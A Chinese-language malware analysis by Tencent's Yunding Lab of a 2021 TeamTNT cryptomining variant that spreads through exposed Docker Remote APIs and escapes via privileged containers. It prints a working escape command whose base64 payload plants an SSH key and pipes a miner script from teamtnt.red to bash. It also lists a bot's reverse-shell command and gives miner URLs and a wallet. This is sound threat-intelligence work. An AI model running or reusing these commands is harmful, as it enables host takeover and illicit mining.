Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >TeamTNT 样本新变种分析

TeamTNT 样本新变种分析

作者头像
云鼎实验室
发布于 2021-10-19 02:40:31
发布于 2021-10-19 02:40:31
1.8K0
举报

一、背景

云鼎实验室近期捕获到TeamTNT黑客团伙新的容器攻击活动。挖矿病毒通过扫描docker remote api未授权访问漏洞进行传播。相比之前TeamTNT黑客团伙使用的挖矿木马,新变种对原挖矿木马进行了升级,在进行感染时使用了新的策略。

入侵后会先清理其他挖矿病毒,并使用新的方法隐藏进程,入侵完毕后会清理痕迹,覆盖系统日志以逃避排查,为增加挖矿木马植入的成功率还有备用挖矿程序,增加木马的稳定性,利用nohup命令防止挖矿进程被挂断,并且使用了LKM rootkit技术隐藏进程。

样本属于最新版本TEAMTNT样本,云鼎实验室哨兵系统第一时间捕获,本文会详细分析样本在入侵,持久化,容器逃逸等多个方面所使用的技术,并对应到ATT&CK矩阵。

二、样本产生时间与流行分析

样本的开发时间大约在2021年09月14日编写完毕,云鼎实验室哨兵系统在9月14号第一时间捕获,并进行了详细的分析。

哨兵捕获的网络包:

样本流行程度:

通过哨兵智能情报统计系统,样本在刚刚爆发的2周内较为流行,随后感染率持续下降。

三、样本att&ck矩阵分析

TEAMTNT的新样本通过docker remote API 传播,过程中使用了 特权容器,容器逃逸,LKM rootkit 等先进攻击方式,下面是对于整个攻击过程的att&ck矩阵分析。

下图为攻击流程,我们将整个过程分为五个部分讲解:1、初始化访问与对外扫描  2、执行3、权限提升-容器逃逸  4、攻击持久化 5、防御绕过

3.1 攻击向量-初始访问与横向扫描—Remote API 漏洞:

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,黑客也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器

A、扫描获取docker API版本

调用masscan 和 zgrab扫描目标IP,通过请求旧版本的命令,可以获取到最新的docker API版本。

通常获取1.16版本,会返回如下信息:

Handler for GET /v1.16/version returned error: client version 1.16 is too old. Minimum supported API version is 1.24, please upgrade your client to a newer version

相关代码如下:

B、利用Remote API漏洞:

直接通过Remote API漏洞,远程启动传播病毒的容器镜像 alpineos/dockerapi,容器使用完成后会自动清除容器内部的文件系统。启动alpine 容器进行容器逃逸。

3.2 攻击向量-执行:

在目标机器上的命令执行通过特权容器执行恶意指令,进行挖矿和病毒传播。

A、恶意镜像alpineos/dockerapi:

经查询,alpineos账号注册时间为2021年5月26日,其中alpineos/dockerapi镜像更新时间为截止目前已有16天,大约有5500台主机被感染。

镜像启动时会执行名为pause的脚本,pause脚本用于病毒的传播。

B、镜像Alpine

正规白镜像,镜像大小只有5M,方便下载,teamTNT使用这个镜像进行容器逃逸。

3.3攻击向量-权限提升----Docker逃逸:

TEAMTNT 使用的逃逸方法是特权模式+SSH

特权模式在6.0版本的时候被引入Docker,其核心作用是允许容器内的root拥有外部物理机的root权限,而此前在容器内的root用户只有外部物理机普通用户的权限。

使用特权模式启动容器后(docker run --privileged),Docker容器被允许可以访问主机上的所有设备、可以获取大量设备文件的访问权限。

TEAMTNT 病毒容器运行的逃逸命令如下:

docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine

chroot /host bash -c 'echo c3NoLWtleWdlbiAtTiAiIiAtZiAvdG1wL1RlYW1UTlQKCmNoYXR0ciAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGw7IHRudHJlY2h0IC1SIC1pYSAvcm9vdC8uc3NoLyAyPi9kZXYvbnVsbDsgaWNoZGFyZiAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGwKY2F0IC90bXAvVGVhbVROVC5wdWIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2F0IC90bXAvVGVhbVROVC5wdWIgPiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5czIKcm0gLWYgL3RtcC9UZWFtVE5ULnB1YgoKCnNzaCAtb1N0cmljdEhvc3RLZXlDaGVja2luZz1ubyAtb0JhdGNoTW9kZT15ZXMgLW9Db25uZWN0VGltZW91dD01IC1pIC90bXAvVGVhbVROVCByb290QDEyNy4wLjAuMSAiKGN1cmwgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHxjZDEgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHx3Z2V0IC1xIC1PLSBodHRwOi8vdGVhbXRudC5yZWQvc2gvc2V0dXAvbW9uZXJvb2NlYW5fbWluZXIuc2h8fHdkMSAtcSAtTy0gaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNoKXxiYXNoIgoKcm0gLWYgL3RtcC9UZWFtVE5UCgo= | base64 -d | bash'

第一步:创建特权容器

docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine

容器本身为干净的alpine容器。

第二步:SSH容器逃逸

在root目录下 拷贝ssh密钥到宿主机,通过访问127.0.0.1 从而进行容器逃逸。

上述代码解密后如下:

逃逸后,可以在宿主机上下载moneroocean_miner.sh等脚本进行挖矿。

3.4攻击向量-防御绕过----清理痕迹与进程隐藏:

在植入挖矿病毒后,会通过diamorphine.sh来隐藏进程,之后清理痕迹。

A、通过diamorphine.sh 隐藏进程:

从github.com/m0nad/Diamorphine下载安装编译Diamorphine,加载内核模块dia.ko。

Diamorphine是一个LKM rootkit ,功能就是 进程隐藏、模块隐藏,用户root权限获取,带有Magic-prefix 开头的文件和目录隐藏。

这里重点介绍一下 进程隐藏部分。

Rootkit初始化部分会hook getdents、getdents64 和kill 三个函数,其中被hook的kill 函数用于接受命令,进行进程隐藏、root等动作。

Hacked_kill 定义了3个参数,31 用来隐藏进程,64用来获取root,63用来隐藏自身模块。

被hook的kill代码如下:

通过 for_each_process遍历进程列表找到目标进程,把进程标志设置为PF_INVISIBLE 从而达到隐藏进程的目标。

Find_task代码如下:

通过kill命令的31信号隐藏挖矿进程(xmrig),并清理记录

B、痕迹清理

清除命令历史记录:

通过删除/bash_history 和 执行history -c 命令,清除命令历史记录。

清除wtmp,secure、cron 和mail 日志。

C、ld.so.preload清理模块

ld.so.preload清理模块使用了base64编码,解密后可以看到以下功能。

检查/etc/ld.so.preload预加载文件,删除空的ld.so.preload文件,如果ld.so.preload有预加载程序,则对其进行清理。

为了能成功删除,重新写了文件删除函数。文件删除函数中使用了chattr和intrecht、ichdarf三个命令,这三个命令实为同一种功能,TeamTNT黑客团队曾经在入侵时,重命名过系统命令。为能成功执行,系统命令和重命名过的命令一起执行,以提高成功率。

3.5攻击向量—持久化—释放远控

TEAMTNT会下载Chimaera IRC 远控木马,木马没有加壳,功能较为丰富,这里不做过多介绍。

相关命令和描述如下图所示:

整理后如下表所示:

Command

Description (from the binary)

NICK <nick>

Changes the nick of the client

SERVER <server>

Changes servers

GETSPOOFS

Gets the current spoofing

SPOOFS <subnet>

Changes spoofing to a subnet

DISABLE

Disables all packeting from this   client

ENABLE

Enables all packeting from this   client

GET <http address> <save   as>

Downloads a file off the web and   saves it onto the hd

UPDATE <http address>   <src:bin>

Update this bot

HACKPKG <http address> <bin   name>

HackPkg is here! Install a bin, using   http, no depends!

VERSION

Requests version of client

HELP

Displays this

IRC <command>

Sends this command to the server

SH <command>

Executes a command

ISH <command>

SH, interactive, sends to channel

SHD <command>

Executes a pseudo-daemonized command

GETBB <tftp server>

Get a proper busybox

INSTALL <http server/file_name>

Download & install a binary to   /var/bin

BASH <cmd>

Execute commands using bash.

BINUPDATE <http:server/package>

Update a binary in /var/bin via wget

SCAN <nmap options>

Call the nmap wrapper script and scan   with your opts.

RSHELL <server> <port>

Equates to nohup nc ip port -e   /bin/sh

LOCKUP <http:server>

Kill telnet, d/l aes backdoor from   <server>, run that instead.

GETSSH   <http:server/dropbearmulti>

D/l, install, configure and start   dropbear on port 30022

TOETEDENCLIENT

Kill client

UPDATE

update

四、挖矿部分分析

Moneroocean.sh脚本主要用来挖矿:

更改linux最大文件句柄数的限制,以提高稳定性。并配置防火墙,放行数据包。

清理动态预加载预加载ld.preload,木马通常使用使用此技术来隐藏木马文件,可以实现劫持,TeamTNT团队的新挖矿程序,清理了此加载文件,更换隐藏技术,并且可以排除其他挖矿程序,以达到资源独占。清理模块使用了base64编码,上文有进一步分析。

清理其他部分主流挖矿域名:

还原ps命令,并清理定时任务,有些挖矿木马存在修改系统命令:

清理痕迹,清空系统日志,脚本最后有调用。

清理其他挖矿程序,简单粗暴判定CPU占用65%以上的都为挖矿程序,并结束进程,以达到资源独占的目的。

实现下载功能,实现类似wget curl功能,用于下载wget curl:

检查系统中是否有curl,如果没有则从自己服务器上下载curl程序:

下载钱包文件,并准备两个挖矿安装包,其中一个为备用安装包:

中止原有的的挖矿程序,下载新版挖矿木马后重命名,并解压后删除安装包

检测挖矿程序是否正常工作,如果被破坏则下载备用挖矿程序,解压后删除安装包

设置挖矿密码,把用户钱包,密码,矿池地址写入配置文件,并重命名为“config_background.json”。

创建miner.sh脚本,把脚本写入.profile,以便在登陆时在后台运行。

修改大页内存hugepages值,以提高挖矿效率。

创建挖矿服务,服务名为“SystemRaid.service”。

增加挖矿木马的健壮性,将挖矿程序在后台运行。

清理痕迹并通过执行diamorphine.sh来隐藏进程。

挖矿信息总结:

矿池:dl.chimaera.cc:21582

钱包:89sp1qMoognSAbJTprreTXXUv9RG1AJBRjZ3CFg4rn6afQ5hRuqxiWRivYNqZbnYKKdsH5pCiTffrZToSyzXRfMvSHx5Guq

首选挖矿程序:http://teamtnt.red/sh/bin/xmrig/x86_64/mo.tar.gz

备用挖矿程序:https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-static-x64.tar.gz

URL:http://teamtnt.red/sh/setup/moneroocean_miner.sh;http://teamtnt.red/sh/setup/diamorphine.sh

END

更多精彩内容点击下方扫码关注哦~

   云鼎实验室视频号

  一分钟走进趣味科技

     -扫码关注我们-

关注云鼎实验室,获取更多安全情报

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-10-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 云鼎实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
再次捕获云上在野容器攻击,TeamTNT黑产攻击方法揭秘
一、背景 腾讯安全云鼎实验室持续监控云原生在野攻击威胁态势,继DockerHub发现百万下载量黑产镜像(详见文章DockerHub再现百万下载量黑产镜像,小心你的容器被挖矿)之后,近期实验室最新捕获到TeamTNT黑客团队新型在野容器攻击活动,相比之前TeamTNT挖矿木马,此次新型攻击手法对原挖矿木马进行了升级,并利用容器环境进行感染传播。 通过对TeamTNT新型容器攻击样本详细分析,我们发现挖矿病毒是通过扫描docker remote api未授权访问漏洞进行传播。相比之前TeamTNT黑客团队出的
云鼎实验室
2021/10/20
1.7K0
Linux rootkit 深度分析 – 第1部分:动态链接器劫持
Rootkit 通常是攻击者用来完全控制受感染资源并隐藏恶意活动的一种恶意软件。它们通常是持续性攻击活动的一部分,例如窃取敏感信息或进行间谍活动。Rootkit 可能难以检测和删除,因为它们利用高级技术来隐藏它们在系统上的存在。
星尘安全
2024/08/11
3310
Linux rootkit 深度分析 – 第1部分:动态链接器劫持
kworkerds 挖矿木马简单分析及清理
公司之前的开发和测试环境是在腾讯云上,部分服务器中过一次挖矿木马 kworkerds,本文为我当时分析和清理木马的记录,希望能对大家有所帮助。
叨叨软件测试
2020/04/14
1.6K0
记一次Linux挖矿病毒的清除
起因是同学过年期间因阿里云的服务器Redis弱口令(好像是没设密码)被提权植入了挖矿病毒,CPU长期占用100%。
xuing
2019/10/19
10.8K2
挖矿木马自助清理手册
挖矿木马会占用CPU进行超频运算,从而占用主机大量的CPU资源,严重影响服务器上的其他应用的正常运行。黑客为了得到更多的算力资源,一般都会对全网进行无差别扫描,同时利用SSH爆破和漏洞利用等手段攻击主机。部分挖矿木马还具备蠕虫化的特点,在主机被成功入侵之后,挖矿木马还会向内网渗透,并在被入侵的服务器上持久化驻留以获取最大收益。整体的攻击流程大致如下图所示:
purnus
2021/06/12
53.4K24
挖矿木马自助清理手册
蓝军技术推送(第四弹)
推送亮点:文章中完整叙述从fuzz目标应用,到寻找windows的API,再到转化为可以fuzz的exe的实现方式,并且给出了一系列优化效率的思考过程。文章思路清晰,流畅有趣,是一篇不错的漏洞挖掘入门文章。
JDArmy
2022/06/06
3770
事件分析 | Linux watchdogs 感染性隐藏挖矿病毒入侵还原录
近日,腾讯云安全团队监测到部分云上及外部用户机器存在安全漏洞被入侵,同时植入 watchdogs 挖矿病毒,出现 crontab 任务异常、系统文件被删除、CPU 异常等情况,并且会自动感染更多机器。攻击者主要利用 Redis 未授权访问入侵服务器并通过内网扫描和 known_hosts 历史登录尝试感染更多机器。(对此,腾讯云安全团队第一时间发布了病毒预警——预警 | 中招 watchdogs 感染性挖矿病毒,如何及时止损?)
云鼎实验室
2019/02/23
3.6K0
事件分析 | Linux watchdogs 感染性隐藏挖矿病毒入侵还原录
急死!CPU被挖矿了,却找不到哪个进程!
最近有朋友在群里反馈,自己服务器的CPU一直处于高占用状态,但用top、ps等命令却一直找不到是哪个进程在占用,怀疑中了挖矿病毒,急的团团转。
轩辕之风
2021/01/06
3.5K0
敲黑板 | 如何更好地保护云上资产?
“云”越来越不陌生,云上庞大的资产也成为不法分子觊觎的对象,他们喜欢窥探各处的信息,并使用工具,批量扫描、利用漏洞入侵机器,达到控制机器的效果;他们利用一个漏洞就能完成一系列操作,在你的设备上留下后门,进行挖矿、DDoS 等行为。 2016-2017年 Petya、WannaCry 勒索病毒相继出现,国内外多家大型企业被攻击,政府、银行、电力系统、通讯系统不同程度被影响; 2016年10月,美国东部大规模网络瘫痪,大量知名平台受到 DDoS 攻击。 2017年10月 某汽车厂商的公有云基础设施被爆曾遭黑客
腾讯云安全
2019/05/16
1K0
敲黑板 | 如何更好地保护云上资产?
实战矿马:消灭“薅羊毛”门罗币矿马(config.sh;zhihuatnail.so;sshd2)
我又来消灭挖矿木马了,这次消灭的挖矿文件为config.json;zhihuatnail.so;sshd2这三个矿马。
枪哥四海为家
2020/11/09
2.5K0
实战矿马:消灭“薅羊毛”门罗币矿马(config.sh;zhihuatnail.so;sshd2)
分析过程:服务器被黑安装Linux RootKit木马
疫情还没有结束,放假只能猫家里继续分析和研究最新的攻击技术和样本了,正好前段时间群里有人说服务器被黑,然后扔了个样本在群里,今天咱就拿这个样本开刀,给大家研究一下这个样本究竟是个啥,顺便也给大家分享一些关于Linux Rootkit恶意软件方面的相关知识点吧。
FB客服
2022/11/14
1.8K0
分析过程:服务器被黑安装Linux RootKit木马
服务器又被黑了,可咋办
作为资深老油条(Server Reinstall Enginner),对于这种安全问题,第一反应就是重装(没有什么是重装解决不了的,如果有,那就再装一次),因为病毒大概率是找不全,杀不干净,很容易对外留尾巴。
没有故事的陈师傅
2024/11/25
1530
服务器又被黑了,可咋办
一次XorDDos变种样本的分析实战记录(附工具下载)
*本文原创作者:熊猫正正 ,本文属FreeBuf原创奖励计划,未经许可禁止转载 一、起因 上周五晚上,前同事丢给我一个样本,让我帮他分析一下,周未有事也没时间看,只是把样本丢到VT上扫了扫,报XorDDos.2,原来是14年就出现的XorDDos样本的变种,晚上没玩LOL,把样本详细分析一下,写了这篇报告,欢迎学习交流,顺便赚点奶粉钱,呵呵。 二、样本简介 XorDDos类型样本主要特点,用暴力猜解目标机器ssh弱密码的方式,入侵目标机器
FB客服
2018/02/09
1.9K0
一次XorDDos变种样本的分析实战记录(附工具下载)
Linux应急响应笔记
前一段时间我处理了一次应急响应,我还输出了一篇文章 Linux应急响应笔记。这两天又处理了一次病毒入侵,在前一次的基础上,这次应急做了一些自动化脚本,应急响应效率有了一定程度的提升,故另做一份笔记。
FB客服
2021/01/25
3.4K1
Linux应急响应笔记
云上在野容器攻防战:“杀”不掉的挖矿木马
腾讯安全近期将复盘2022年典型的攻击事件,帮助企业深入了解攻击手法和应对措施,完善自身安全防御体系。
腾讯安全
2022/12/26
9670
云上在野容器攻防战:“杀”不掉的挖矿木马
应急响应案例:kdevtmpfsi挖矿木马
Virustotal 中核实文件是否异常。https://www.virustotal.com/gui/
何刚
2020/11/07
5K2
应急响应案例:kdevtmpfsi挖矿木马
一起挖矿病毒事件的深度分析
有了攻击脚本的话,我们就能更加快速的了解他的攻击方式了,所以让我们来分析下脚本到底干了些什么:
FB客服
2020/05/25
1.7K0
一起挖矿病毒事件的深度分析
预警 | 中招 watchdogs 感染性挖矿病毒,如何及时止损?
近日,腾讯云安全团队监测到部分云上及外部用户机器存在安全漏洞被入侵,同时植入 watchdogs 挖矿病毒,出现 crontab 任务异常、系统文件被删除、CPU 异常等情况,并且会自动感染更多机器。攻击者主要利用 Redis 未授权访问入侵服务器并通过内网扫描和 known_hosts 历史登录尝试感染更多机器。
腾讯云安全
2019/03/04
1.1K0
安全研究 | Linux 遭入侵,挖矿进程被隐藏案例分析
本文作者:Fooying、zhenyiguo、murphyzhang 一、背景 云鼎实验室曾分析不少入侵挖矿案例,研究发现入侵挖矿行为都比较粗暴简单,通过 top 等命令可以直接看到恶意进程,挖矿进程不会被刻意隐藏;而现在,我们发现黑客开始不断使用一些隐藏手段去隐藏挖矿进程而使它获得更久存活,今天分析的内容是我们过去一个月内捕获的一起入侵挖矿事件。 二、入侵分析 本次捕获案例的入侵流程与以往相比,没有特殊的地方,也是利用通用漏洞入侵服务器并获得相关权限,从而植入挖矿程序再进行隐藏。 通过对几个案例的分析
云鼎实验室
2018/07/02
3.3K1
BORG —— 一个快速进化的僵尸网络
近日,宙斯盾流量安全分析团队发现大量针对Docker、Kubernetes等服务的异常扫描流量,我们对此深入分析发现,一个专门针对容器虚拟化服务的僵尸网络浮出水面,因其在文件中大量使用BORG字符串,我们将其命名为BORG僵尸网络。
腾讯安全应急响应中心
2021/01/11
7660
BORG —— 一个快速进化的僵尸网络
推荐阅读
相关推荐
再次捕获云上在野容器攻击,TeamTNT黑产攻击方法揭秘
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档